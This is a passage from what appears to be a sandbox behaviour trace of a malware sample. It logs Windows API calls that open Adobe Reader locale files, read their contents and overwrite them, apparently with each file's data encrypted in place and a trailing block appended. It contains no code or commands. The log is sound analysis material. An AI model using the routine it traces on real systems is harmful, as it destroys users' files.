lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x20000 [0038.147] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0038.148] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.148] ReleaseMutex (hMutex=0x128) returned 1 [0038.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.HUN", cchWideChar=10, lpMultiByteStr=0x1e6312c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.HUN", lpUsedDefaultChar=0x0) returned 10 [0038.148] ReadFile (in: hFile=0x1ac, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0038.151] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1f000 [0038.151] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0038.154] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1f000 [0038.154] WriteFile (in: hFile=0x1ac, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.155] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0038.155] WriteFile (in: hFile=0x1ac, lpBuffer=0x2728d08*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2728d08*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.155] CloseHandle (hObject=0x1ac) returned 1 [0038.155] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\ReadOutLoud.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\readoutloud.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.155] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0038.155] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x2a00 [0038.155] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0038.155] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.155] ReleaseMutex (hMutex=0x128) returned 1 [0038.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.HUN", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.HUN", cchWideChar=15, lpMultiByteStr=0x1e6322c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.HUN", lpUsedDefaultChar=0x0) returned 15 [0038.155] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0038.159] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1a00 [0038.160] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0038.160] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1a00 [0038.160] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.160] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0038.160] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.160] CloseHandle (hObject=0x1ac) returned 1 [0038.160] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\accessibility.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\accessibility.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.161] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0038.161] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xb200 [0038.161] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0038.161] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.161] ReleaseMutex (hMutex=0x128) returned 1 [0038.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.ITA", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0038.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.ITA", cchWideChar=17, lpMultiByteStr=0x1e78c44, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.ITA", lpUsedDefaultChar=0x0) returned 17 [0038.161] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0038.163] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xa200 [0038.163] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0038.167] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xa200 [0038.167] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.167] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0038.167] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.167] CloseHandle (hObject=0x1ac) returned 1 [0038.167] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\IA32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\ia32.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.168] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0038.168] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xe00 [0038.168] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0038.168] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.168] ReleaseMutex (hMutex=0x128) returned 1 [0038.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.ITA", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.ITA", cchWideChar=8, lpMultiByteStr=0x1e630ac, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.ITA", lpUsedDefaultChar=0x0) returned 8 [0038.168] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x32cf2bc*=0xe00, lpOverlapped=0x0) returned 1 [0038.179] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0038.179] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesWritten=0x32cf2d0*=0x1388, lpOverlapped=0x0) returned 1 [0038.179] CloseHandle (hObject=0x1ac) returned 1 [0038.179] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\SendMail.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\sendmail.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.180] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0038.180] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x3e00 [0038.180] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0038.180] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.180] ReleaseMutex (hMutex=0x128) returned 1 [0038.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.ITA", cchWideChar=12, lpMultiByteStr=0x1e6322c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.ITA", lpUsedDefaultChar=0x0) returned 12 [0038.180] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0038.183] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2e00 [0038.183] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0038.186] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2e00 [0038.186] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.187] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0038.187] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.187] CloseHandle (hObject=0x1ac) returned 1 [0038.187] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\BRdlang32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\brdlang32.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.294] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.294] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x2400 [0039.294] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.294] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.294] ReleaseMutex (hMutex=0x128) returned 1 [0039.294] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.JPN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.294] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.JPN", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.JPN", lpUsedDefaultChar=0x0) returned 13 [0039.294] ReadFile (in: hFile=0x12c, lpBuffer=0x1daf238, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1daf238*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0039.315] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1400 [0039.315] ReadFile (in: hFile=0x12c, lpBuffer=0x1daf238, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1daf238*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0039.345] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1400 [0039.345] WriteFile (in: hFile=0x12c, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.345] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0039.345] WriteFile (in: hFile=0x12c, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.345] CloseHandle (hObject=0x12c) returned 1 [0039.345] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\PPKLite.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\ppklite.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.346] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.346] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x5a000 [0039.346] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.346] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.346] ReleaseMutex (hMutex=0x128) returned 1 [0039.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.JPN", cchWideChar=11, lpMultiByteStr=0x1e6338c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.JPN", lpUsedDefaultChar=0x0) returned 11 [0039.346] ReadFile (in: hFile=0x12c, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0039.366] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x59000 [0039.366] ReadFile (in: hFile=0x12c, lpBuffer=0x2771388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0039.448] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x59000 [0039.448] WriteFile (in: hFile=0x12c, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.449] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0039.449] WriteFile (in: hFile=0x12c, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.449] CloseHandle (hObject=0x12c) returned 1 [0039.449] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\updater.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\updater.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.458] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.458] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x2200 [0039.458] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.458] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.458] ReleaseMutex (hMutex=0x128) returned 1 [0039.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.JPN", cchWideChar=11, lpMultiByteStr=0x1e6342c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.JPN", lpUsedDefaultChar=0x0) returned 11 [0039.459] ReadFile (in: hFile=0x12c, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0039.467] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1200 [0039.467] ReadFile (in: hFile=0x12c, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0039.474] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1200 [0039.475] WriteFile (in: hFile=0x12c, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.475] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0039.475] WriteFile (in: hFile=0x12c, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.475] CloseHandle (hObject=0x12c) returned 1 [0039.475] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\eBook.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\ebook.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.475] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: 